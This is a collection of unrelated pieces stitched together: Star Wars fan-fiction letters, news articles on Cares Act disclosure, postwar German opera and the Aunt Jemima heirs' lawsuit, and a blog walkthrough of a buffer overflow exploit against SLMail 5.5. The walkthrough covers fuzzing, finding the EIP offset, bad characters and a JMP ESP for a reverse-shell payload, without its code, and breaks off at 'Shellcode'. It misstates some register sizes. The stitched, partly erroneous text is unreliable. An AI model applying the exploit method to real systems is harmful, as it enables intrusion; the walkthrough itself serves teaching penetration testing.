It sounds like you have been keeping yourself busy as well, even if it was perhaps less exciting work. Did you ever find what you were looking for in all of that data? I don’t know if it helps, but in a letter about the ongoing reconstruction efforts at the temple, the Grand Master mentioned a missing Rakata artifact. I unfortunately didn’t have much time to spend in the archives during our initial reconstruction efforts, but I didn’t see any artifacts tucked under anyone’s arm while they were leaving. Perhaps it was extracted during the original raid? I must confess, if the Council was hiding a piece of Rakata technology, then they did not want it falling into the wrong hands. In my own experience it is rarely used for benevolent purposes.

If the artifact was included in the SIS’s reports, I wonder if it is mentioned there the exact nature of the device. I could enquire further with Master Satele regarding it, but I am afraid I am not very good at concealing the truth from her in matters such as these. It is probably best if I don’t attempt it unless you think it’s necessary.

I think I hear my self-appointed keeper returning. I must wrap this up before he confiscates this datapad as well. I will continue to wait to see if you discover anything considered “noteworthy”.

I have a feeling you will know exactly where to find me.

As he finished the letter, Theron couldn’t help the frown. A missing piece of Rakata tech definitely could have been among the missing items. He’d have to check into the official report, but it would take a few extra steps to keep his name from showing up on the logs since they’d closed out the investigation. Surely the Empire wouldn’t have conducted an entire raid in the heart of the Republic for just one artifact. Surely their resources would have been better directed elsewhere. The more he tried to fit the pieces of all of this together, the less this made sense. There was something else going on here, he just wasn’t connecting the right dots.

He glanced back at the data terminal, his back screaming in protest at the thought of returning to the hunched over position so soon. He began to perform a series of exercises to try and stretch out the kinks, carefully balancing the datapad so he could re-read the contents of the letter again as if it might magically answer any of the questions it raised. As he focused on the details to see if he missed anything regarding the artifact, the reason for the delay in reply started to prickle at him. The letter had definitely been written with far more reserve than the previous ones.

As he finally worked free the knot in his lower back, he pulled up the HoloNet and ran a search on news articles for the Tapani sector. He didn’t need to look far to find the buzz about a daring rescue of an entire orphanage from the nefarious plot of a rogue minor house trying to curry favor with the losing house in the Barnabas succession. They apparently took the building as a hideout concealing a hidden stash of weapons and had planted dentonite around the perimeter. All orphans had safely been pulled from the exploding building and while the article didn’t say there was going to be a statue erected in a certain Jedi’s honor, Theron half expected it to. He was already scrubbing a hand across his face by the time he got to the end. Beyond being possibly the most disgustingly cliched do-gooder he’d ever met, the woman was a giant flashing neon sign that attracted attention wherever she went. What the hell had he been thinking bringing her in on this? There was no way they were going to remain under the radar if she stopped what she was doing every five seconds to rescue kath pups and nexu kittens.

He opened up a new message, and stared at it for a few moments before he began writing out his reply:

To: Greyias Highwind From: Theron Shan Subject: Interesting

I’m sure the life of a Jedi Knight is very busy, especially one that seems to wind up on the top of the HoloNet News feed as often as you do. It’s understandable that you can’t always reply to every piece of mail you get right away. Although I do admit I was thinking I’d hear back sooner than a week. 

But your reply, even delayed, is appreciated. I hadn’t gotten far sifting through the data, but I’m going to double-check the report when I get in tomorrow to see if I can find the piece of tech you mentioned in the log. If the Council had it locked up, I doubt they were willing to share with the SIS the exact nature of the device. But hey, maybe we’ll get lucky and everyone will have been in a sharing mood. Hope springs eternal right?

Speaking of the Council, I think you’re right in that we should probably not share anything with the Grand Master right now. All I have right now are threads and suspicions, but nothing concrete. We need to figure out what’s going on before anyone’s going to take us seriously. I’m getting there, but it’s slow going. I’ve gotten some leads on Darok, but they’re just… odd. He’s started requesting intel, like on the weaponization of the Iso-5 on Tython. That makes sense. My other lead is just confusing, and I’ve got no idea what it means. I was actually working on it when your message came. If anything comes from it, I’ll let you know.

Theron stared at the blinking cursor, trying decide if he should end it there, but something was still nagging at him. Rescued orphans aside, there was nothing in the report that indicated why it took her an entire week to check her inbox, seeing as that incident had occurred almost five days ago. It was none of his damn business and he didn’t care. He really didn’t. Not beyond keeping an eye on a potentially valuable asset for his operation. Still, it felt as if he didn’t quite have control over his fingers typing out the last portion of his reply.

Now, it’s not my business or anything, but in my line of work I’m used to reading between the lines. I couldn’t help but notice you mentioning everything but exactly what delayed your reply. If I do find something, are you going to be up to joining my investigation? Or do I need to write your medic for permission first? Hopefully you managed to hide that datapad from him successfully enough so you don’t have to smuggle another one just to check your mail.

I’ve got to finish running down this other lead before I call it a night. If I find anything new, I’ll be in touch. Try not to blow yourself up rescuing another orphanage in the meantime.

[ivankahasbeentreatedsounfairly]

By

Peter Whoriskey

and

Heather Long

April 13, 2020 at 7:30 a.m. EDT

The names of businesses that collectively will receive hundreds of billions of dollars in coronavirus relief from the federal government may not be disclosed publicly, and critics say that could make the massive spending program vulnerable to fraud and favoritism.

The $2 trillion Cares Act approved by President Trump last month requires that the names of recipients of some forms of federal aid be published, but those requirements do not extend to significant portions of the relief.

Chief among the omissions is the $349 billion expected to be doled out to small companies in chunks as large as $10 million. The rescue legislation does not compel the Small Business Administration to disclose the recipients. So far, the agency said, it has received about 487,000 applications seeking a total of $125 billion.

      A potentially even larger gap involves the trillions going out to businesses under the auspices of the Federal Reserve.

The Cares Act and other legislation generally require the Fed to disclose the loan recipients and the amounts they receive, but there is a significant exemption: The Fed chairman, Jerome H. Powell, may request that the information be kept confidential, meaning only congressional leaders would be given access.

Congress rushed to pass the Cares Act in March while the economy rapidly deteriorated, but policymakers are only now beginning to understand some of the implications of the law. And lawmakers do not appear close to making any changes, as Democrats and Republicans are at odds over whether to approve $250 billion in additional funding for a small-business program or add even more funding for states, cities and hospitals.

Proponents of withholding the information argue that identifying coronavirus aid recipients could make firms hesitant to apply because of privacy concerns, especially if the businesses are small. Other needy companies may fear that an aid application, once made public, could be construed as a sign of financial frailty. Restarting the economy requires getting money to businesses quickly, these proponents say, so programs should avoid requirements that discourage applications.

On the other hand, if the names of the aid beneficiaries are withheld, it will be difficult to gauge how much of the relief money is being wasted, fraudulently obtained or not reaching places it was intended to go, experts and watchdog groups say.

Congress to bail out companies that avoided taxes, violated safety regulations and spent billions boosting their stock

“You can only truly measure the success or failure of programs if you know where the money is going,” said Neil Barofsky, the former inspector general of the bailout in the last financial crisis. “As a matter of basic governance, there should be disclosure of recipients of government bailout money.”

Though most of the $2 trillion in spending has yet to begin, disputes already have arisen about who will be responsible for making sure it is done ethically.

The Cares Act requires several layers of oversight: It calls for a special inspector general; a congressional review commission; and a Pandemic Response Accountability Committee, a group that will be composed of inspectors general armed with enhanced powers to subpoena documents and testimony.

But Trump has taken steps that undermine these reviewers. In signing the Cares Act into law, Trump angered some Democrats, who had insisted on oversight measures, by declaring that the special inspector general cannot issue reports to Congress without “presidential supervision,” a constraint that could compromise the watchdog’s independence.

Then last week, Trump removed the chairman of the federal panel Congress created to oversee his administration’s handling of the Cares Act. Glenn Fine, who had been the acting Pentagon inspector general, was informed that he was being replaced at the Defense Department by Sean W. O’Donnell, currently the inspector general at the Environmental Protection Agency.

The U.S. was beset by denial and dysfunction as coronavirus raged

Regardless of what happens to the oversight panels, the public disclosure of who receives the trillions in emergency money could play a critical role in the public debate over the programs.

Publishing the recipient information would enable outside groups — not just government-appointed bodies — to check into the spending, said Jordan Libowitz of Citizens for Responsibility and Ethics in Washington, a nonprofit watchdog group.

“We are always going to be in favor of as much transparency as possible in government spending,” he said.

But under the $2 trillion bill, the requirements for disclosure vary by the type of spending.

For example, one of the best-known elements in the bill, which allows the Treasury Department to spend $46 billion to help airlines, air cargo companies and “businesses critical to national security,” requires the department to promptly publish the name of the company getting money, the amount of the loan and the contract.

Elements of the $2 trillion aid effort

The Cares Act similarly sets out requirements for the Federal Reserve to disclose information about the loans it offers.

The Fed is required to turn over to Congress — and ultimately put up on its website — the basics of the loans issued: the identity of the business, how much money was loaned and the interest rate. Later it will disclose how much of the loan has been repaid.

Powell has stressed repeatedly in recent months that he believes the Fed must be transparent and accountable to the public in all its actions. In a speech Thursday, he also emphasized that the Fed is making loans that it expects will be repaid, not outright financial grants.

“I would stress that these are lending powers, not spending powers,” Powell said. The Fed’s expectation is “the loans will be fully repaid."

As the Fed chair, Powell has the discretion to keep the company name and amount borrowed confidential, sharing the information only with certain congressional leaders who oversee Fed activities. That information “shall be kept confidential, upon the written request of the Chairman,” according to a portion of the Federal Reserve Act cited by the bailout legislation.

During the global financial crisis, the Federal Reserve refused to turn over to reporters the records of some of its emergency bank lending. Bloomberg, the media company, sued for their release and, in a case that went to the Supreme Court, won three years later.

Sarah Bloom Raskin, a lawyer and former Fed official, said the oversight appears “weak” at a time when the Fed has been given substantial new powers to lend money.

Critics also noted that while the central bank has to share some basic information about the loans, other details, such as how many employees the company has retained or the compensation for its chief executive, might never be shared publicly.

“We should ask for the actual deal documents. Why wouldn’t you make those public?” said Marcus Stanley, policy director at Americans for Financial Reform.

Finally, other significant portions of the Cares Act impose no disclosure requirements on the agencies disbursing the money.

There are no such mandates, for example, for the $100 billion destined for health-care providers; the $3.5 billion for companies developing diagnostics, medications and vaccines; or the $10 billion supposed to go to airports.

Those agencies could still release the information, however, and some are planning to do so.

The Federal Aviation Administration, which is doling out $10 billion in coronavirus aid to airports, said that the agency would provide a list of the recipients once the deals are arranged, said spokeswoman Marcia Alexander-Adams.

The Department of Health and Human Services, which is supposed to roll out the money to health care providers and companies providing medications, did not respond to a request for comment about whether it would release information on recipients of $100 billion the agency is doling out to health care providers.

The identities of the recipients of the money in the Cares Act might also become public if the information is requested under the Freedom of Information Act, and already, some newspapers and watchdog groups have indicated that they will file requests.

The names of borrowers who apply to the small business loan program could be released under the Freedom of Information Act, “subject to certain exceptions,” according to the fine print on the loan application form. But large requests under the Freedom of Information Act often can be hampered by months or years of bureaucratic delays and litigation.

There is at least one other way the information could come out: One of the oversight bodies created by the bill, the Pandemic Response Accountability Committee, is supposed to publish information on the money spent, too, but it does not compel the publication of information beyond what is required by the Freedom of Information Act.

One of the most divisive of the disclosure debates could arise over the $349 billion promised to small businesses, a figure that could rise to almost $600 billion if a follow-up relief bill is approved. The Small Business Administration hasn’t yet said how much has been disbursed, and Christopher Hatch, an SBA spokesman, said Monday that the agency itself might not know until June, when it hears back from thousands of banks.

Larry Kudlow, Trump’s chief economic adviser, recently said that his wife, a painter, has applied for a loan and found the process to be easy.

Advocates for small businesses said disclosing the identities of the recipients and the amounts they received could raise privacy concerns. The size of the loan, they say, could give the public clues about how much a small business makes.

Small businesses are still awaiting emergency loans and facing a dilemma about how to spend them

“There are inferences that can be made. … It’s similar to saying, ‘Hey, how much do you make every year?’” said Molly Day, a vice president of the National Small Business Association, which counts 65,000 members. “It’s private information that you wouldn’t want to share.”

Moreover, she said, “Advertising to the world that you’re having a hard time — even if everyone else in the whole world is — is something a small business might not want to do.”

But Libowitz and other advocates of government transparency point out that ignorance of the recipients’ identities might make it hard to ask key questions.

“Did they have connections? Did they lobby? Knowing who’s getting the money allows outside parties to do their oversight — and that’s something you can’t do without this information,” Libowitz said.

Aaron Gregg and Renae Merle contributed to this report.

[sciencespies]

A new act for opera

https://sciencespies.com/humans/a-new-act-for-opera/

A new act for opera

Credit: CC0 Public Domain

More

In November 1953, the Nationaltheater in Mannheim, Germany, staged a new opera, the composer Boris Blacher’s “Abstrakte Oper Nr. 1,” which had debuted just months previously. As it ran, music fans were treated to both a performance and a raging controversy about the work, which one critic called “a monstrosity of musical progress,” and another termed “a stillbirth.”

Some of this vitriol stemmed from Blacher’s experimental composition, which had jazz and pop sensibilities, few words in the libretto (but some nonsense syllables), and no traditional storyline. The controversy was heightened by the Mannheim production, which projected images of postwar ruins and other related tropes onto the backdrop.

“The staging was very political,” says MIT music scholar Emily Richmond Pollock, author of a new book about postwar German opera. “Putting these very concrete images behind [the stage], that people had just lived through, produced a very uncomfortable feeling.”

It wasn’t just critics who were dubious: One audience member wrote to the Mannheim morning newspaper to say that Blacher’s “cacophonous concoction is actually approaching absolute zero and is not even original in doing so.”

In short, “Abstrakte Oper Nr. 1” hardly fit its genre’s traditions. Blacher’s work was introduced soon after the supposed “Zero Hour” in German society—the years after World War Two ended in 1945. Germany had instigated the deadliest war in history, and the country was supposed to be building itself entirely anew on political, civic, and cultural fronts. But the reaction to “Abstrakte Oper Nr. 1” shows the limits of that concept; Germans also craved continuity.

“There is this mythology of the Zero Hour, that Germans had to start all over again,” says Pollock, an associate professor in MIT’s Music and Theater Arts Section.

Pollock’s new book, “Opera after the Zero Hour,” just published by Oxford University Press, explores these tensions in rich detail. In the work, Pollock closely scrutinizes five postwar German operas while examining the varied reactions they produced. Rather than participating in a total cultural teardown, she concludes, many Germans were attempting to construct a useable past and build a future connected to it.

“Opera in general is a conservative art form,” Pollock says. “It has often been identified very closely with whomever is in power.” For that reason, she adds, “Opera is a really good place to examine why tradition was a problem [after 1945], and how different artists chose to approach that problem.”

The politics of cultural nationalism

Rebuilding Germany after 1945 was a monumental task, even beyond creating a new political state. A significant part of Germany lay in rubble; for that matter, most large opera houses had been bombed.

Nonetheless, opera soon bloomed again in Germany. There were 170 new operas staged in Germany from 1945 to 1965. Operationally, as Pollock notes in the book, this inevitably meant including former Nazis in the opera business—efforts at “denazification” of society, she thinks, were of limited effectiveness. Substantively, meanwhile, the genre’s sense of tradition set audience expectations that could be difficult to alter.

“There’s a lot of investment in opera, but it’s not [usually] going to be avant-garde,” Pollock says, noting there were “hundreds of years of opera tradition pressing down” on composers, as well as “a bourgeois restored German culture that doesn’t want to do anything too radical.” However, she notes, after 1945, “There are a lot of traditions of music-making as part of the culture of being German that feel newly problematic [to socially-aware observers].”

Thus a substantial portion of those 170 new operas—besides “Abstrakte Oper Nr. 1″—contained distinctive blends of innovation and tradition. Consider Carl Orff’s “Oedipus der Tyrann,” a 1958 work of musical innovation with a traditional theme. Orff was one of Germany’s best-known composers (he wrote “Carmina Burana” in 1937) and had professional room to experiment. “Oedipus der Tyrann” strips away operatic musical form, with scant melody or symphonic expression, though Pollock’s close reading of the score shows some remaining links to mainstream operatic tradition. But the subject of the opera is classical: Orff uses the German poet Friedrich Holderlin’s 1804 translation of Sophocles’ “Oedipus” as his content. As Pollock notes, in 1958, this could be a problematic theme.

“When Germans claim special ownership of Greek culture, they’re saying they’re better than other countries—it’s cultural nationalism,” Pollock observes. “So what does it mean that a German composer is taking Greek tropes and reinterpreting them for a postwar context? Only recently, [there had been] events like the Berlin Olympics, where the Third Reich was specifically mobilizing an identification between Germans and the Greeks.”

In this case, Pollock says, “I think Orff was not able to think clearly about the potential political implications of what he was doing. He would have thought of music as largely apolitical. We can now look back more critically and see the continuities there.” Even if Orff’s subject matter was not intentionally political, though, it was certainly not an expression of a cultural “Zero Hour,” either.

Opera is the key

“Opera after the Zero Hour” continually illustrates how complex music creation can be. In the composer Bernd Alois Zimmerman’s 1960s opera “Die Soldaten,” Pollock notes a variety of influences, chiefly Richard Wagner’s idea of the “totalizing work of art” and the composer Alban Berg’s musical idioms—but without Wagner’s nationalistic impulses.

Even as it details the nuances of specific operas, Pollock’s book is also part of a larger dialogue about which types of music are most worth studying. If operas had limited overlap with the most radical forms of musical composition of the time, then opera’s popularity, as well as the intriguing forms of innovation and experiment that did occur within the form, make it a vital area of study, in Pollock’s view.

“History is always very selective,” Pollock says. “A canon of postwar music will include a very narrow slice of pieces that did really cool, new stuff, that no one had ever heard before.” But focusing on such self-consciously radical music only yields a limited understanding of the age and its cultural tastes, Pollock adds, because “there is a lot of music written for the opera house that people who loved music, and loved opera, were invested in.”

Other music scholars say “Opera after the Zero Hour” is a significant contribution to its field. Brigid Cohen, an associate professor of music at New York University, has stated that the book makes “a powerful case for taking seriously long-neglected operatic works that speak to a vexed cultural history still relevant in the present.”

Pollock, for her part, writes in the book that, given all the nuances and tensions and wrinkles in the evolution of the art form, “opera is the key” to understanding the relationship between postwar German composers and the country’s newly fraught cultural tradition, in a fully complicated and historical mode.

“If you look at [cultural] conservatism as interesting, you find a lot of interesting things,” Pollock says. “And if you assume things that are less innovative are less interesting, then you’re ignoring a lot of things that people cared about.”

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Researcher uses music sampling to study cultural conformity bias

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Citation: A new act for opera (2019, October 2) retrieved 2 October 2019 from https://phys.org/news/2019-10-opera.html

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#Humans

[lorajackson]

Aunt Jemima’s Relatives Want Reparations

Earlier this month, when Quaker Oats announced that Aunt Jemima would get a new name and logo, a 47-year-old truck driver named Larnell Evans, Jr. received the news with some ambivalence. Evans is the great-great-grandson of Anna Short Harrington, one of several actresses who played Aunt Jemima at fairs and in advertisements throughout the early 20th century. The company’s rebrand and future $5 million donation rang hollow to him. “That’s the easy way for them to go,” Evans tells The Daily Beast. “I guess you would say, that’s saving money.”He had a different reckoning in mind. Six years ago, Evans and his nephew, Dannez Hunter, tried to confront Quaker Oats about their shared history in federal court. In September of 2014, they filed a federal lawsuit against PepsiCo, the corporate owner of Quaker Oats, alleging that Harrington had helped develop Aunt Jemima’s signature self-rising pancake mix, and that the company had used her likeness as its logo without providing proper compensation. They asked for $2 billion in relief and a share of sales revenue. “In Aunt Jemima, [Quaker Oats] still possesses one of the most recognizable and thus valuable trademarks in history,” the complaint read. “Defendants actions epitomise what is the worst in corporate America, exemplifying the worst business practices anywhere on the planet.” (Quaker Oats did not respond to multiple requests for comment.) The legal saga spanned five years of filings, but collapsed after a Chicago judge dismissed the case, and later barred Hunter from further filings without court approval. The loss hinged less on the content of their case, however, than its presentation. Throughout the dispute, Hunter and Evans represented themselves without an attorney. Hunter drafted the motions; Evans proofread. “Law was always a very interesting topic for both of us,” Evans said. “But we wish we’d hired a lawyer, because they didn’t take the case seriously.” While the documents often reflected a firm grasp of legal convention, Hunter at times slipped into first person or implied larger conspiracies (none too different from actual malicious actions the American government carried out against Black people). Still, the documents’ idiosyncrasies elicited snark from judicial authorities. “At over 50,000 words, Hunter’s complaint is longer than both The Great Gatsby and the King James Bible’s version of the Book of Genesis,” the dismissal of a subsequent filing in Minnesota reads. “The overlong complaint meanders across a vast landscape pocked by conspiracy. Portions of the complaint are written in what appears to be Chinese.” A good deal of the original complaint, however, bears out in contemporaneous reports about Harrington’s life and work. Born in 1897, Anna Short Harrington grew up in Marlboro County, South Carolina, and worked as a sharecropper on a cotton and tobacco plantation for several years. In the 1920s, according to a Nov. 12, 1995 newswire article syndicated across the country, Harrington moved to Syracuse, New York, where she worked for several college fraternities. A skilled cook, Harrington earned a reputation at the frats for her pancakes, which soon spread around campus and into the city. The Most Hideous Confederate Statue by the Man Who Defended MLK’s KillerHow Trump’s Cruelty Is Fueling Padma Lakshmi’s Fight for ImmigrantsHarrington became a kind of local celebrity who appeared in regional news and at state fairs, preparing her sought-after recipes for large crowds. It was at one such fair in 1935, according to The Story of Aunt Jemima, a children’s book from South Carolina author John Troy McQueen, that the Quaker Oats Company recruited Harrington to play Aunt Jemima. The position took Harrington around the country, to perform at store openings and other public events, according to her entry in the South Carolina Encyclopedia, a joint archival project from several universities. “By the time of her death,” the entry reads, “the former sharecropper owned two homes and lived in an area occupied by the black elite of Syracuse.”“She had her own recipes, which was very unique,” Evans said. “You didn’t hear of people having their own recipes—especially working for Quaker Oats. You would think, working for Quaker Oats, whatever they hired them to do, that’s what they would do. And she was promoting Quaker Oats products. But she was also promoting her own products.” The lawsuit Evans and Hunter filed hinged on the Aunt Jemima logo that Quaker Oats copyrighted in 1936, the year after she began working for them. They claimed the image was based on a rendering of Harrington’s face, as laid out in a contract signed by both parties.But Quaker Oats rejected the claim—arguing the character was fictitious and had never been based on a living person. This is a line Quaker Oats has stuck to since at least 1948, when they renewed the alleged Harrington trademark, and added a note stating the image did not depict a living person. And as recently as 2015, when historian Sherry Williams found the long-missing grave of Nancy Green, the most famous Aunt Jemima, Quaker Oats refused to fund her gravestone. “Their corporate response was that Nancy Green and Aunt Jemima aren’t the same—that Aunt Jemima is a fictitious character,” Williams told WBEZ Chicago.The precise terms of Harrington’s employment remain unclear. Before the lawsuit, Evans and Hunter requested Quaker Oats provide Harrington’s contract for review. In an email submitted as evidence, Quaker claimed they were “actively searching for contracts that would pertain to Ms. Anna Harrington,” but could not locate any document negotiating her terms. In the end, PepsiCo filed to dismiss the case on three grounds: that the statute of limitations had lapsed; that their 15 claims either weren’t recognized by law, weren’t established with evidence, or were implausible; and that the uncle and nephew lacked documentation proving their relation to Harrington or her estate. Evans found it galling.“We had a family tree. We have all the death certificates. We have the obituaries. There’s no way that they can say, ‘Oh they’re not related,’” the 47-year-old father said. “I always knew she played Aunt Jemima. That’s just a given fact.” Read more at The Daily Beast.Got a tip? Send it to The Daily Beast hereGet our top stories in your inbox every day. Sign up now!Daily Beast Membership: Beast Inside goes deeper on the stories that matter to you. Learn more.

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[zephystechblog-blog]

A walk-through on Buffer Overflow attacks.

Disclaimer: This walk-through was very heavily inspired by content from the “Penetration Testing with Kali Linux” course from Offensive Security. In the future I will make blog posts about additional buffer overflows performed from scratch.

For a while I’ve been wanting to write up a simple walk through of creating a buffer overflow attack, and explaining what is happening, so let’s just jump right into this.

What is a buffer overflow attack? A buffer overflow is when too much data is sent to a program, and the excess data “overflows” the boundary in memory that was set aside for it, causing other areas of memory to be overwritten, which can lead to execution of malicious code. Let’s look at the example below:

This is a program written in C, called vuln.exe. This program is vulnerable to a buffer overflow attack. Let’s further examine why:

This program is vulnerable to a simple buffer overflow

On line 3, a function is defined that accepts user input as a command line argument.

Line 5 defines a local variable named "buffer", with a size of 64 bytes. These 64 bytes of memory will be reserved on the stack. The stack is an array or list structure of function calls and parameters used by the program.

On line 7, the program checks to see if less than 2 arguments were provided, and prints usage instructions before exiting.

Starting on line 14 is the main part of the function, which simply copies the user input into the variable named "buffer". The program then exits.

This program is vulnerable because there is no input validation, meaning that someone can input more than 64 bytes, over-writing other parts of the stack and causing a crash. This is known as a stack buffer overflow.

In the screenshot below, it is shown that inputting 10 A's (each 1 byte) doesn't have any adverse effects, but inputting 80 A's causes a buffer overflow condition, and the program crashes:

A brief explanation of debugging

CPU Registers

Data Registers • EAX - The primary accumulator; it is used in input/output and most arithmetic instructions • ECX - The count register. ECX registers store the loop count. • EDX - The data register. It is also used in input/output operations. It is used along with the EAX register for multiply/divide operations involving large values. • EBX - The base register, and could be used in indexed addressing.

Pointer Registers • ESP - The stack pointer. A 16-bit register providing the offset value within the program stack. ESP in association with the SS register (SS:SP) refers to the current position of data or address within the program stack. • EBP - The base pointer. A 16-bit register that mainly helps in referencing the parameter variables passed to a subroutine. The address in SS register is combined with the offset in EBP to get the location of the parameter. • EIP - The instruction pointer. A 16-bit register that stores the offset adddress of the next instruction to be executed. EIP in association with the CS register (as CS:IP) gives the complest address of the current instruction in the code segment. EIP controls the path of code execution of the program.

Index Registers • ESI - The source index. Used as a source index for string operations. • EDI - The destination index. Used as a destination index for string operations.

During the debugging associated with developing buffer overflows, ESP and EIP are especially useful, and will be something that will be manipulated in order to properly execute the attack.

The registers as they appear in Ollydbg:

The main Ollydbg window:

The section outlined in red  is the stack memory viewer. To the left of that, is the memory dump viewer. Above the stack memory viewer, is the register viewer. Finally, in the top left-hand corner, is the disassembler.

Immunity Debugger has a similar appearance.

F2 will set a "breakpoint", at which point the debugger will halt execution. F7 will "step" to the next instruction.

Debugging vuln.exe vuln.exe, the C code shown on page "Vulnerable code example", has been loaded into Ollydbg, and has been run with an argument of 80 A's.

A breakpoint has been set at the strcopy function, and the code was "stepped through" until 64 bytes had been copied into the stack:

The red "RETURN from vuln.0040100….." is the return address that the program is supposed to jump to after the strcopy is done, which is memory offset 00401145. However, as the program continues to progress, the A's will overflow from the 64 byte buffer, and overwrite that instruction.

The return address has been overwritten. Soon the program will crash after it tries to execute the RETN function, because it will now try to jump to a memeory address that either doesn't exist, or belongs to another program.

Here, the stack is trying to reclaim the 64 bytes that were allocated for the variable named "buffer". Just below that is the RETN function that will crash the program.

This is the address in the stack that originally contained the return address. The original value of 00401145 has been overwritten to 41414141, or AAAA. The program now tries to jump to the instruction located in memory offset 41414141.

Notice the EIP. It now reads 41414141. This is important, as this shows that it is possible to overwrite EIP with user-supplied input, which can lead to execution of malicious code.

Exploit Development

The following pages will document the exploit development process. The target application is SLMail version 5.5.0. This is a legacy mail application that was run on Windows NT/2000/XP/2003, and the vulnerability exploited in the following demonstration was patched over a decade ago. The following screenshots are from a Windows 7 32-bit VM running the vulnerable version of SLMail.

Fuzzing

Fuzzing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a program. Fuzzing is the first step in finding potentially vulnerable inputs for buffer overflowing.

The code blow is a fuzzer that will incrementally send a larger and larger buffer to the program over POP3, port 110, to determine how much data is required to make it crash:

Specifically, we are interested in the PASS parameter, as this is the vulnerable parameter in SLMail 5.5. The script creates a socket and connects over TCP to port 110, receives the banner, provides the command USER and a fake username, receives the response from the server, and then sends the command PASS along with the test buffer.

This python script will generate 100 A's and send it to the server, and each time it loops, will increment by 200, sending 300 A's, then 500, and so on, until the service crashes. This will tell us if the program is vulnerable, along with the general amount of data it took to crash it.

The SLMail application runs as a service, so it will be running as soon as the VM starts up. Immunity Debugger is opened, and the application is "attached" to the debugger, and execution is resumed. The fuzzer is then executed from the attacking machine:

Once we hit 2900 bytes, the script stopped progressing. On the test machine running Immunity, we see that the program crashed:

Just as with the vuln.exe example, EIP has been overwritten with 41414141:

Refining the fuzzing attack

Now we need to replicate the crash with more accuracy, in an attempt to find the exact number of bytes needed to cause a crash:

This python script will create a buffer of 2700 A's and send it to the SLMail server.

Immunity Debugger is launched, and the SLMail process re-attached, then the script is run:

Once again, SLMail has crashed. The next step is to determine how many A's it takes to overwrite EIP. We will send a unique string of 2700 bytes, and then note which bytes overwrite EIP, and then determine where those bytes are in that string.

A utility for generating unique strings for this very purpose is /usr/share/metasploit-framework/tools/pattern_create.rb.

This string will become our new buffer in the skeleton exploit. SLMail is restarted again, along with Immunity Debugger, and SLMail is re-attached to the debugger before running the exploit again.

This time EIP is overwritten by 39694438. To discover the exact position of these bytes in the unique string that was created, we use /usr/share/metasploit-framework/tools/pattern_offset.rb

The skeleton exploit has been modified with this new information:

The goal here is to determine if we can precisely overwrite EIP with 4 B's. The C’s will be our “dummy payload” to make sure we can continue writing additional data after overwriting EIP.

Once again, everything is restarted, and the exploit is run.

EIP has been overwritten with 42424242, which is hex for BBBB. We now know for sure that it takes exactly 2606 bytes to reach the EIP, and the 4 bytes following that will overwrite EIP.

Preparing for shellcode

After running the current version of the skeleton exploit, we need to right-click the ESP and click “Follow in Dump”:

We can see that at the time of the crash, ESP was pointing to the C's in the buffer that came immediately after the 4 B's. A typical reverse shell payload typically requires around 350-400 bytes, so now we need to increase the overall buffer to see if we can overwrite enough of the stack to fit in some shellcode.

The buffer is written in this way so that we can send exactly 3500 bytes to the server.

It appears that a larger portion of the stack has been successfully overwritten. Shellcode should easily be able to fit into this exploit without issues.

Bad characters

Depending on the application, some hexidecimal characters can be interpreted as various commands, such as line feeds, carriage returns, and so on. We cannot include these bad characters in the final shellcode, or the exploit will fail.

\x00 is a "null byte" and will almost certainly always be a bad character, so by default, assume this is a bad character and do not include this in any shellcode.

\x0D is another bad character unique to POP3. This will be interpreted as a carriage return. If SLMail sees this character in the shellcode, it will treat this as the end of the input, and will cut off anything else after this character.

There is a quick way to start testing this; send all possible characters from \x01 to \xFF, to see when these characters cause issues, or cause input to be cut off, or truncated.

The payload of the skeleton exploit is modified like so:

SLMail and Immunity are restarted, and the exploit is run, and then ESP is Followed in Dump:

The hex character \x0A is missing, and seems to have truncated all other input. This has identified \x0A as a bad character.

\x0A represents a line feed, which is why it is truncating the input. \x0A is removed from the buffer in the exploit, and the process is repeated (SLMail is restarted, Immunity is attached, exploit is run, ESP is Followed in Dump) As expected, x0D is absent, but there are no other bad characters observed.

To summarize, the bad characters for this application are x00, x0A, and x0D, and should be omitted from the finalized payload.

Redirecting execution flow

Since the ESP register points to the dummy payload (The C's in the buffer), the best way to redirect execution to that address is to overwrite EIP with the address stored in the ESP. But there is no way to predict this, as it will always be different, due to the fact that stack addresses change often, especially with "threaded" applications, in which each thread has its own stack memory.

When an application is launched, it is loaded into memory, along with all the DLLs, modules, and drivers it needs to run. Within those DLLs and modules, it is possible to find a "JMP ESP" command that can be used to make sure execution will always "jump" to the address in ESP.

As long as those DLLs and modules do not have DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization), protections in place, this technique should work. The memory address of the module must also be free of any of the bad characters identified in the previous steps.

To start searching for a JMP ESP in these modules, we can make use of some scripts built into Immunity Debugger called "mona", which is written in python.

At the bottom of the window, in the white box, call mona by typing "!mona modules"

After going through the entire list, there is a module that fits all the criteria: SLMFC.DLL

The module does not have any memory protections in it, and th ememory address does not contain bad characters.

Now we need to find a JMP ESP inside this DLL:

Clicking the "e" will switch to the executables modules list, which shows all the modules that have been loaded. Double click on the SLMFC.DLL. Right-click inside the upper left-hand window, and select "Search for" > "Command"

However, when we search this way, we get 0 results, but that doesn’t mean that the instruction isn’t there. When seraching for commands in this manner, Immunity will only search inside parts of SLMFC.DLL that are marked as executable.

Clicking on the “m” in the top bar switches the view to the “modules” section, which reveals that only the “.text” section of SLMFC.DLL is marked as executable.

Since SLMail isn't protected by DEP, and SLMFC isn't protected by ASLR, instructions from any part of the DLL can be used. Mona can find the instruction for us, but instead of searching for JMP ESP, we have to search for the bytes that stand for JMP ESP. There is another tool in Kali that can help us find that:

/usr/share/metasploit-framework/tools/nasm_shell.rb

Now we can search for the instruction using these bytes with mona:

The first result should work, as it has no bad characters in the address, no memory protections, and contains the JMP ESP instruction we need.

Clicking the highlighted button will open the "Follow expression" search box. Type in the address of the JMP ESP  instruction to open it in the disassembler to confirm that it is a JMP ESP. This can now be added to the skeleton exploit.

***IMPORTANT*** Due to x86 systems storing addresses in memory in "Little endian" format, the address must be typed into the exploit in reverse:

Little endian refers to the process of storing the "little end", or least significant byte, in memory first.

In Immunity, place a breakpoint at the address of the JMP ESP instruction, and then run the skeleton exploit. The goal now is just to make sure that execution is reaching the JMP ESP instruction.

EIP has been successfully overwritten with the address of the JMP ESP instruction, and as indicated by the status bar on the very bottom of Immunity, the breakpoint was hit, confirming that the exploit successfully redirected execution flow to the JMP ESP instruction. The exploit is nearly complete now.

Shellcode

